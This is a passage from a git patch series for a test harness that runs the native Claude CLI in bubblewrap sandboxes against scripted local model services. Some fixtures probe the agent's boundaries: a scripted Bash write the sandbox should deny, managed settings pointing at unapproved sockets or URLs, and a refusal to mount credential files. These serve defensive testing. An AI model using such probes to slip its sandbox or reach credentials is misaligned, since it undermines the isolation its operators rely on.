createFixtureTurnHost(brainPath, db); -host = new WsHost({ ...nativeHost, brainPath, registry: createStaticBackendRegistry([backend], "claude"), catalog: createSessionCatalog(() => db), isPrincipalAuthorized: () => true, activity: { store, stream }, turnTimeoutMs: 25000 }); +host = new WsHost({ ...nativeHost, brainPath, registry: createStaticBackendRegistry([backend], "claude"), catalog: createSessionCatalog(() => db), isPrincipalAuthorized: () => true, activity: { store, stream }, turnTimeoutMs: /* native-hang-guard: Successful native worker turns; this probe does not assert deadline expiry. */ watchdogMs(25000) }); // Simulate only the browser mask response, preserving the actual server bridge. host.clients.add({ send(text: string) { const frame = JSON.parse(text); frames.push(frame); diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index 06fceed2a0..4a58851ef5 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -477,7 +477,7 @@ async function server(): Promise { const nativeHost = createFixtureTurnHost(brainPath, db, scenario.startsWith("governed") ? "governed" : "strict"); const { governedTurns, applicationPlanner } = nativeHost; const host = new WsHost({ ...nativeHost, governedTurns, applicationPlanner, brainPath, registry: createStaticBackendRegistry([selected as typeof backend], adapter), - catalog: createSessionCatalog(() => db), isPrincipalAuthorized: () => true, activity: { store, stream, governance: event => recordGovernanceEvent(db, event) }, turnTimeoutMs: 90_000 }); + catalog: createSessionCatalog(() => db), isPrincipalAuthorized: () => true, activity: { store, stream, governance: event => recordGovernanceEvent(db, event) }, turnTimeoutMs: /* native-hang-guard: Successful policy-boundary turns; this probe does not assert deadline expiry. */ watchdogMs(90_000) }); const frames: Frame[] = []; let maskRequests = 0, askRequests = 0; const png = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]); diff --git a/tests/helpers/native-timeout-inventory.ts b/tests/helpers/native-timeout-inventory.ts index 12fe35f601..5f780172ba 100644 --- a/tests/helpers/native-timeout-inventory.ts +++ b/tests/helpers/native-timeout-inventory.ts @@ -38,7 +38,7 @@ export function nativeDeadlines(file:string,source:ts.SourceFile):NativeDeadline const parent=node.parent; if(ts.isVariableDeclaration(parent)&&/(?:deadline|until|end)/i.test(parent.name.getText(source))||ts.isCallExpression(parent)&&/(?:readLine|ready|readySteps|childPid|verifyWorkerFolderMounts)/.test(parent.expression.getText(source)))emit("poll",node.right); } - if(ts.isPropertyAssignment(node)&&["timeout","timeoutMs"].includes(ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:ts.isComputedPropertyName(node.name)&&ts.isStringLiteral(node.name.expression)?node.name.expression.text:node.name.getText(source))&&![ts.SyntaxKind.TrueKeyword,ts.SyntaxKind.FalseKeyword,ts.SyntaxKind.NullKeyword].includes(node.initializer.kind)){ + if(ts.isPropertyAssignment(node)&&/^(?:timeout(?:Ms)?|[A-Za-z_$][\w$]*Timeout(?:Ms)?)$/.test(ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:ts.isComputedPropertyName(node.name)&&ts.isStringLiteral(node.name.expression)?node.name.expression.text:node.name.getText(source))&&![ts.SyntaxKind.TrueKeyword,ts.SyntaxKind.FalseKeyword,ts.SyntaxKind.NullKeyword].includes(node.initializer.kind)){ let parent:ts.Node=node.parent;while(parent&&!ts.isCallExpression(parent)&&!ts.isStatement(parent))parent=parent.parent; if(parent&&ts.isCallExpression(parent)){ const name=parent.expression.getText(source),root=name.split(/[.(]/)[0]!; diff --git a/tests/native-timeout-inventory.test.ts b/tests/native-timeout-inventory.test.ts index 7107f05414..126f0886e1 100644 --- a/tests/native-timeout-inventory.test.ts +++ b/tests/native-timeout-inventory.test.ts @@ -20,12 +20,12 @@ test("new native literal timer, spawn, polling and aliased options cannot bypass import {setTimeout as schedule} from "node:timers"; schedule(()=>abort.abort(),25000); globalThis.AbortSignal.timeout(6000); setTimeout(()=>abort.abort(),20000); AbortSignal.timeout(5000); const options={"timeout":30000}; Bun.spawn(["fixture"],options); - expect.poll(()=>ready,{timeout:5000}); const deadline=Date.now()+5000; + expect.poll(()=>ready,{timeout:5000}); prewarm({initializeTimeoutMs:30000}); const deadline=Date.now()+5000; test("outer",()=>{},90000); test("outer options",{timeout:90000},()=>{}); setTimeout(()=>{},watchdogMs(5000)); setTimeout(()=>{},/* native-product-timing: Fixed measured application budget. */ 1000); const receipt={timeout:false};`,ts.ScriptTarget.Latest,true); - expect(unscaledNativeDeadlines("new-native.ts",source).map(item=>item.expression.getText(source))).toEqual(["25000","6000","20000","5000","30000","5000","5000"]); + expect(unscaledNativeDeadlines("new-native.ts",source).map(item=>item.expression.getText(source))).toEqual(["25000","6000","20000","5000","30000","5000","30000","5000"]); expect(nativeDeadlines("new-native.ts",source).filter(item=>item.kind==="registrar")).toHaveLength(2); }); test("native repetitions actually load the outer registrar scaling preload",async()=>{ From 3092ff051da8b1a67ae3b74645774911290c3bc2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 17:06:58 +0000 Subject: [PATCH 081/187] test: distinguish timeout receipt metadata from duration inputs --- tests/helpers/native-timeout-inventory.ts | 2 +- tests/native-timeout-inventory.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/helpers/native-timeout-inventory.ts b/tests/helpers/native-timeout-inventory.ts index 5f780172ba..2e4c6e75d6 100644 --- a/tests/helpers/native-timeout-inventory.ts +++ b/tests/helpers/native-timeout-inventory.ts @@ -38,7 +38,7 @@ export function nativeDeadlines(file:string,source:ts.SourceFile):NativeDeadline const parent=node.parent; if(ts.isVariableDeclaration(parent)&&/(?:deadline|until|end)/i.test(parent.name.getText(source))||ts.isCallExpression(parent)&&/(?:readLine|ready|readySteps|childPid|verifyWorkerFolderMounts)/.test(parent.expression.getText(source)))emit("poll",node.right); } - if(ts.isPropertyAssignment(node)&&/^(?:timeout(?:Ms)?|[A-Za-z_$][\w$]*Timeout(?:Ms)?)$/.test(ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:ts.isComputedPropertyName(node.name)&&ts.isStringLiteral(node.name.expression)?node.name.expression.text:node.name.getText(source))&&![ts.SyntaxKind.TrueKeyword,ts.SyntaxKind.FalseKeyword,ts.SyntaxKind.NullKeyword].includes(node.initializer.kind)){ + if(ts.isPropertyAssignment(node)&&/^(?:timeout(?:Ms)?|[A-Za-z_$][\w$]*Timeout(?:Ms)?)$/.test(ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:ts.isComputedPropertyName(node.name)&&ts.isStringLiteral(node.name.expression)?node.name.expression.text:node.name.getText(source))&&!ts.isObjectLiteralExpression(node.initializer)&&![ts.SyntaxKind.TrueKeyword,ts.SyntaxKind.FalseKeyword,ts.SyntaxKind.NullKeyword].includes(node.initializer.kind)){ let parent:ts.Node=node.parent;while(parent&&!ts.isCallExpression(parent)&&!ts.isStatement(parent))parent=parent.parent; if(parent&&ts.isCallExpression(parent)){ const name=parent.expression.getText(source),root=name.split(/[.(]/)[0]!; diff --git a/tests/native-timeout-inventory.test.ts b/tests/native-timeout-inventory.test.ts index 126f0886e1..0d9a70772a 100644 --- a/tests/native-timeout-inventory.test.ts +++ b/tests/native-timeout-inventory.test.ts @@ -24,7 +24,7 @@ test("new native literal timer, spawn, polling and aliased options cannot bypass test("outer",()=>{},90000); test("outer options",{timeout:90000},()=>{}); setTimeout(()=>{},watchdogMs(5000)); setTimeout(()=>{},/* native-product-timing: Fixed measured application budget. */ 1000); - const receipt={timeout:false};`,ts.ScriptTarget.Latest,true); + const receipt={timeout:false,probeTimeout:{requirement:"fixed"}};`,ts.ScriptTarget.Latest,true); expect(unscaledNativeDeadlines("new-native.ts",source).map(item=>item.expression.getText(source))).toEqual(["25000","6000","20000","5000","30000","5000","30000","5000"]); expect(nativeDeadlines("new-native.ts",source).filter(item=>item.kind==="registrar")).toHaveLength(2); }); From 7b309288610af4c3baa5b1379bfc703505be4b21 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 17:53:22 +0000 Subject: [PATCH 082/187] test: preserve declared files and separate-UID device semantics --- .../tests/fixtures/sdk-host-relay-probe.ts | 4 +- .../tests/fixtures/server-host-relay-probe.ts | 4 +- .../tests/fixtures/shell-startup-probe.ts | 2 +- scripts/measure-claude-runtime.ts | 8 +- scripts/native-device-diagnostics.ts | 26 ++++++- scripts/test-native-guard.ts | 77 +++++++++---------- tests/native-device-diagnostics.test.ts | 23 +++++- tests/native-direct-transport.test.ts | 20 +++++ tests/native-fixture-files.test.ts | 38 +++++++++ tests/native-managed-settings.test.ts | 18 ++--- tests/native-offline-boundary.test.ts | 38 +++++---- tests/native-rtk-adapter.test.ts | 7 +- tests/native-runtime-credential-judge.test.ts | 16 ++++ tests/native-startup-audit.test.ts | 3 +- 14 files changed, 201 insertions(+), 83 deletions(-) create mode 100644 tests/native-fixture-files.test.ts create mode 100644 tests/native-runtime-credential-judge.test.ts diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index 80782f5c3f..b13750db2e 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -52,7 +52,7 @@ let managedSettingsFile:string|undefined; if (process.argv[3] === "managed") { mkdirSync("/etc/claude-code", { recursive: true }); const json=JSON.stringify({ env: { ANTHROPIC_UNIX_SOCKET: "/run/odysseus-unapproved.sock" } }); - managedSettingsFile=join(root,"declared-managed-settings.json");writeFileSync(managedSettingsFile,json); + managedSettingsFile="/etc/claude-code/managed-settings.json"; writeFileSync("/etc/claude-code/managed-settings.json",json); } if (process.argv[3] === "project") { @@ -119,7 +119,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request name: "Bash", id: "tool_ithaca_denied", input: { command: `printf odysseus > ${join(brain, "should-not-exist")}` }, } : undefined); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory],...(managedSettingsFile?{managedSettingsFile}:{}) }); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory,...(managedSettingsFile?["/etc/claude-code"]:[])],fixtureFiles:[...(managedSettingsFile?[managedSettingsFile]:[])] }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 4ffe418216..a493f0f39c 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -69,7 +69,7 @@ let managedSettingsFile:string|undefined; if (mode === "managed-custom") { mkdirSync("/etc/claude-code"); const json=JSON.stringify({ env: { ANTHROPIC_BASE_URL: "https://ithaca.invalid" } }); - managedSettingsFile=join(root,"declared-managed-settings.json");writeFileSync(managedSettingsFile,json); + managedSettingsFile="/etc/claude-code/managed-settings.json"; writeFileSync("/etc/claude-code/managed-settings.json",json); } if (mode === "api-key-project-credential") { @@ -131,7 +131,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ credential: tokens.indexOf(request.headers.get("authorization")?.replace("Bearer ", "") ?? ""), model: body.model, history: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brainPath, home],...(managedSettingsFile?{managedSettingsFile}:{}) }); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brainPath, home,...(managedSettingsFile?["/etc/claude-code"]:[])],fixtureFiles:[...(managedSettingsFile?[managedSettingsFile]:[]),...(mode === "outside-masks"?[join(config,"visible.json")]:[])] }); const nativeFetch = globalThis.fetch; globalThis.fetch = (async (input, init) => { const target = new URL(typeof input === "string" || input instanceof URL ? String(input) : input.url); diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index 4a2d3b6367..b8dab3fa69 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -80,7 +80,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) if (!sent) { sent = true; return nativeModelReply({ name: "Bash", input: { command, description: "Inspect the Ithaca shell." }, id: "toolu_ithaca_shell" }); } return nativeModelReply(); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [root],fixtureFiles:[wrapper] }); const ledger = createStateLedger(); const startupView = createFixtureWorkerStartupView(brain); const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile, areas: [] }); diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index 1c097090f1..afdfa60fe6 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -868,13 +868,11 @@ async function credentialRows(model: ReturnType): Promise< r.auth.every((a) => a.xApiKey === API_KEY && !a.authorization) ? null : "expected x-api-key only"], - // The installed native Unix transport selects explicit OAuth. This - // qualified receipt makes no claim about ordinary TCP auth precedence. - ["both (isolated Unix transport)", { CLAUDE_CODE_OAUTH_TOKEN: OAUTH, ANTHROPIC_API_KEY: API_KEY }, (r) => + ["both (raw CLI)", { CLAUDE_CODE_OAUTH_TOKEN: OAUTH, ANTHROPIC_API_KEY: API_KEY }, (r) => r.tokenSource === "CLAUDE_CODE_OAUTH_TOKEN" && r.apiKeySource === "ANTHROPIC_API_KEY" && sent(r) && - r.auth.every((a) => a.authorization === `Bearer ${OAUTH}` && !a.xApiKey) + r.auth.every((a) => a.xApiKey === API_KEY && !a.authorization) ? null - : "the isolated Unix transport did not select its explicit OAuth token"], + : "the raw CLI no longer prefers the API key — #253's reason changed"], ["neither", {}, (r) => r.tokenSource === "none" && !sent(r) && /Not logged in/.test(r.ending) ? null diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts index 3c251de66e..d7baf13ca3 100644 --- a/scripts/native-device-diagnostics.ts +++ b/scripts/native-device-diagnostics.ts @@ -1,15 +1,19 @@ +import {readFileSync} from "node:fs"; /** Temporary identity-only metadata probe: fixed paths, no permissions changed. */ export function nativeDeviceMetadataCommand(command:readonly string[]):string[] { - return ["/usr/bin/python3","-I","-S","-c",'import os,sys\nfor path in ["/dev","/dev/urandom"]:\n try: os.stat(path)\n except OSError: pass\nos.execvp(sys.argv[1],sys.argv[1:])',...command]; + return ["/usr/bin/python3","-I","-S","-c",'import os,sys\nfor path in ["/dev","/dev/urandom"]:\n try: os.stat(path); os.statvfs(path)\n except OSError: pass\nos.execvp(sys.argv[1],sys.argv[1:])',...command]; } -export function nativeDeviceMetadata(trace:string):Array> { - const records=new Map>(); +export function nativeDeviceMetadata(trace:string):Array> { + const records=new Map>(); for(const line of trace.split("\n")){ + const mount=/^\s*(?:[0-9]+\s+)?statfs\("(\/dev(?:\/urandom)?)", .*\bf_flags=([^,}]+).*\) = 0$/.exec(line); + if(mount){const device=mount[1]==="/dev"?"dev":"urandom",flags=mount[2]!;records.set(device,{...records.get(device),device,nodev:/\bST_NODEV\b/.test(flags),nosuid:/\bST_NOSUID\b/.test(flags),ro:/\bST_RDONLY\b/.test(flags)});continue;} + const match=/^\s*(?:[0-9]+\s+)?newfstatat\(AT_FDCWD, "(\/dev(?:\/urandom)?)", (.*)\) = (.*)$/.exec(line); if(!match)continue; const device=match[1]==="/dev"?"dev":"urandom",body=match[2]!,result=match[3]!; const mode=/\bst_mode=S_IF(?:DIR|CHR)\|([0-7]+)/.exec(body),uid=/\bst_uid=([0-9]+)/.exec(body),gid=/\bst_gid=([0-9]+)/.exec(body); - if(result==="0"&&mode&&uid&&gid)records.set(device,{device,mode:parseInt(mode[1]!,8),uid:Number(uid[1]),gid:Number(gid[1])}); + if(result==="0"&&mode&&uid&&gid)records.set(device,{...records.get(device),device,mode:parseInt(mode[1]!,8),uid:Number(uid[1]),gid:Number(gid[1])}); else {const error=/^-1 (EACCES|EPERM|ENOENT|ENOTDIR)\b/.exec(result);if(error)records.set(device,{device,error:error[1]!});} } return [...records.values()]; @@ -31,3 +35,17 @@ export function nativeStartupOpenStages(trace:string,expected:readonly string[], } return records.slice(-32); } + +/** Derive device restoration from the production keeper; never maintain a second device list. */ +export function nativeProductDeviceMounts():string[] { + const source=readFileSync(new URL("../packages/ui-sdk/src/server/worker-launcher.ts",import.meta.url),"utf8"); + const keeper=source.slice(source.indexOf("const keeperCommand ="),source.indexOf("child = Bun.spawn(keeperCommand")); + const matches=[...keeper.matchAll(/\.\.\.(\[[^\]]+\])\.flatMap\(name => \["--dev-bind",/g)]; + if(matches.length!==1)throw Error("production keeper device policy is unavailable"); + const names:unknown=JSON.parse(matches[0]![1]!); + if(!Array.isArray(names)||names.length!==6||new Set(names).size!==names.length||names.some(name=>typeof name!=="string"||!/^[_a-z]+$/.test(name)))throw Error("production keeper device policy is invalid"); + return names.flatMap(name=>["--dev-bind",`/dev/${name}`,`/dev/${name}`]); +} +export function nativeSeparateUidAuditCommand(bwrap:string,payload:readonly string[],auditStorage:string):string[] { + return [bwrap,"--die-with-parent","--unshare-user","--unshare-pid","--unshare-net","--cap-drop","ALL","--bind","/","/","--proc","/proc",...nativeProductDeviceMounts(),"--tmpfs",auditStorage,"--",...payload]; +} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 77e3aff8a0..c87c8f1fee 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,4 +1,4 @@ -import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages } from "./native-device-diagnostics"; +import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; import { nativeReceipt } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; @@ -476,7 +476,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c for(const failure of nativeStartupOpenStages(trace,expected,process.execPath))nativeReceipt({kind:"native-fixture-startup-open",head:nativeTestHead(),...failure}); for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), - JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots) }), { flag: "wx", mode: 0o600 }); } + JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots),deviceMetadata:nativeDeviceMetadata(trace),failedOpenStages:nativeStartupOpenStages(trace,expected,process.execPath) }), { flag: "wx", mode: 0o600 }); } catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } } // Wider diagnostics may contain syscall-looking filenames; only actual @@ -549,10 +549,11 @@ export const WORKER_TURN_PROXY="/run/brain-egress/proxy.sock"; /** Raw fixture tunnel only to the explicitly registered loopback turn proxy. */ export function startNativeTurnProxyTunnel(origin:string,directory:string){ const target=new URL(origin),socket=join(directory,"turn-proxy.sock"); - if(target.protocol!=="http:"||target.hostname!=="127.0.0.1"||!target.port)refuse("invalid scripted turn proxy"); + if(target.protocol!=="http:"||!["127.0.0.1","localhost","[::1]"].includes(target.hostname)||!target.port||target.username||target.password||target.pathname!=="/"||target.search||target.hash)refuse("invalid scripted turn proxy"); + const host=target.hostname==="[::1]"?"::1":"127.0.0.1"; const net=createRequire(import.meta.url)("node:net") as typeof import("node:net"); const server=net.createServer(peer=>{ - const upstream=net.connect({host:"127.0.0.1",port:Number(target.port)}); + const upstream=net.connect({host,port:Number(target.port)}); peer.on("error",()=>upstream.destroy());upstream.on("error",()=>peer.destroy()); peer.on("close",()=>upstream.destroy());upstream.on("close",()=>peer.destroy()); peer.pipe(upstream);upstream.pipe(peer); @@ -586,7 +587,7 @@ export function nativeDirectTransportCommand(command:readonly string[]):string[] } /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ -export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; managedSettings?: string }): Boundary { +export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record }): Boundary { qualify(); const env = options.env ?? process.env; const route = scriptedRoute.getStore(); @@ -603,8 +604,9 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); const bridge = startNativeTestRelay(route.origin); - const direct=!inheritedOrigin; - const turnProxy=direct||route.turnProxy?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; + const authStatus=args.some((value,index)=>value==="auth"&&args[index+1]==="status"); + const direct=!inheritedOrigin&&!authStatus; + const turnProxy=!authStatus&&(direct||route.turnProxy)?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; try { const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); @@ -617,7 +619,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), - ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []),...nativeFixtureManagedSettingsMounts(bridge.directory), + ...nativeFixtureFileMounts(bridge.directory), ...(turnProxy?["--dir","/run/brain-egress","--ro-bind",turnProxy.socket,WORKER_TURN_PROXY]:[]),]; const beforeLaunch = () => assertNativeMountSockets(mounts, route.origin); beforeLaunch(); @@ -633,7 +635,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { Object.assign(childEnv, syntheticCredentials(env)); if (["0", "1"].includes(env.USE_BUILTIN_RIPGREP ?? "")) childEnv.USE_BUILTIN_RIPGREP = env.USE_BUILTIN_RIPGREP!; if (inheritedOrigin) Object.assign(childEnv, relayCredentialPlaceholders(env)); - if (args.some((value, index) => value === "auth" && args[index + 1] === "status")) { + if (authStatus) { // Auth status inspects the isolated fixture login; injecting an API key // would change the very authentication method the fixture is testing. for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_UNIX_SOCKET"]) delete childEnv[key]; @@ -648,11 +650,11 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } catch (error) { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } -interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; managedSettings?: Uint8Array; turnProxy?: boolean } +interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean } const scriptedRoute = new AsyncLocalStorage(); /** Test code pins its scripted service before building a restricted turn. */ -export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[]; managedSettingsFile?: string; turnProxy?: boolean }): () => void { +export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[]; turnProxy?: boolean }): () => void { const previous = scriptedRoute.getStore(); scriptedRoute.enterWith(undefined); let target:URL;try{target=new URL(origin);}catch{refuse("invalid scripted route authority");} @@ -667,29 +669,27 @@ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: }) ?? prior?.fixtureRoots ?? []; const fixtureRootStamps = fixture?.fixtureRoots ? new Map(fixtureRoots.map(path=>{const info=lstatSync(path,{bigint:true});return [path,{dev:info.dev,ino:info.ino}] as const;})) : prior?.fixtureRootStamps ?? new Map(); const fixtureFiles = fixture?.fixtureFiles ? new Map(fixture.fixtureFiles.map(path => { - let real:string;try{real=realpathSync(path);}catch{refuse("fixture file registration is unavailable");} - if (!lstatSync(path).isFile()) refuse("fixture file registration requires a regular file"); - return [real, new Uint8Array(readFileSync(real))] as const; - })) : prior?.fixtureFiles ?? new Map(); - let managedSettings:Uint8Array|undefined; - if(fixture?.managedSettingsFile!==undefined){ - const path=resolve(fixture.managedSettingsFile),info=lstatSync(path); - const created=[...createdFixtureRoots].some(([root,stamp])=>{try{const current=lstatSync(root,{bigint:true});return current.dev===stamp.dev&¤t.ino===stamp.ino&&within(root,path);}catch{return false;}}); - if(!info.isFile()||info.nlink!==1||realpathSync(path)!==path||!created)refuse("managed settings require an unlinked fixture-created regular file"); - managedSettings=new Uint8Array(readFileSync(path)); - }else if(!fixture)managedSettings=prior?.managedSettings; - authority = Object.freeze({ origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,managedSettings,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy }); + // Keep the spelling as well as realpath: normalization must not bless aliases. + let real:string,info:ReturnType; + try{real=realpathSync(path);info=lstatSync(path);}catch{return refuse("fixture files require a canonical unlinked regular file under a declared root");} + const declared=fixtureRoots.some(root=>within(root,path)); + if(!path.startsWith("/")||resolve(path)!==path||real!==path||!info.isFile()||info.nlink!==1||!declared||basename(path)===".credentials.json")refuse("fixture files require a canonical unlinked regular file under a declared root"); + return [path,{bytes:new Uint8Array(readFileSync(path)),mode:(info.mode&0o111)?0o555:0o444}] as const; + })) : prior?.fixtureFiles ?? new Map(); + authority = Object.freeze({ origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy }); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("fixture registration is unavailable"); } scriptedRoute.enterWith(authority); return () => { if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; } -/** Only explicitly captured fixture bytes enter this fixed managed-settings target. */ -export function nativeFixtureManagedSettingsMounts(directory:string):string[] { - const bytes=scriptedRoute.getStore()?.managedSettings; - if(!bytes)return []; - const file=join(directory,"fixture-managed-settings.json");writeFileSync(file,bytes,{flag:"wx",mode:0o444});chmodSync(file,0o444); - return ["--ro-bind",file,"/etc/claude-code/managed-settings.json"]; +/** Snapshot only individually declared files; siblings and directories never enter. */ +export function nativeFixtureFileMounts(directory:string):string[] { + const mounts:string[]=[];let index=0; + for(const [target,file] of scriptedRoute.getStore()?.fixtureFiles??[]){ + const staged=join(directory,`fixture-file-${index++}`);writeFileSync(staged,file.bytes,{flag:"wx",mode:file.mode});chmodSync(staged,file.mode); + mounts.push("--ro-bind",staged,target); + } + return mounts; } /** Keep fixture authority at the SDK's existing spawn hook, across its async work. */ @@ -935,9 +935,7 @@ const nativeFixtureRtkSpawns=new Map(); export function observeNativeFixtureRtkSpawn(pid:number,launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,expected:readonly string[],liveExecs:()=>ReadonlyMap):void { const start=guardedChildren.get(pid); if(!start||processStart(pid)!==start)throw Error("native fixture RTK spawn is unregistered"); - const selected=[...new Set(expected.map(path=>realpathSync(path)))]; - if(selected.length!==1)throw Error("native fixture RTK runtime selection ambiguous"); - nativeFixtureRtkSpawns.set(pid,{start,launch:structuredClone(launch),expected:selected,liveExecs}); + nativeFixtureRtkSpawns.set(pid,{start,launch:structuredClone(launch),expected:[...expected],liveExecs}); if(nativeFixtureRtkSpawns.size>256)nativeFixtureRtkSpawns.delete(nativeFixtureRtkSpawns.keys().next().value!); } /** Re-register only the kernel/audit-proven payload view hidden by our broker. */ @@ -945,6 +943,8 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s const record=nativeFixtureRtkSpawns.get(worker.pid); if(!record)throw Error("native fixture RTK spawn is unregistered"); if(processStart(worker.pid)!==record.start)throw Error("native fixture RTK root identity changed"); + const expected=[...new Set(record.expected.map(path=>{try{return realpathSync(path);}catch{throw Error("native fixture RTK executable unavailable",{cause:"unavailable"});}}))]; + if(expected.length!==1)throw Error("native fixture RTK runtime selection ambiguous"); const owned=new Map(),pending=[worker.pid]; while(pending.length){ const pid=pending.pop()!;if(owned.has(pid))continue;if(owned.size>=512)throw Error("native fixture RTK ancestry bound"); @@ -955,7 +955,7 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s const start=owned.get(pid);if(!start)continue; if(start!==auditedStart)throw Error("native fixture RTK audited identity changed"); let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch{throw Error("native fixture RTK executable unavailable",{cause:"unavailable"});} - if(!record.expected.includes(executable))throw Error("native fixture RTK executable changed",{cause:record.expected.some(path=>basename(path)===basename(executable))?"basename-equal-but-path-differs":"different-basename"}); + if(!expected.includes(executable))throw Error("native fixture RTK executable changed",{cause:expected.some(path=>basename(path)===basename(executable))?"basename-equal-but-path-differs":"different-basename"}); if(processStart(pid)!==start)throw Error("native fixture RTK payload identity 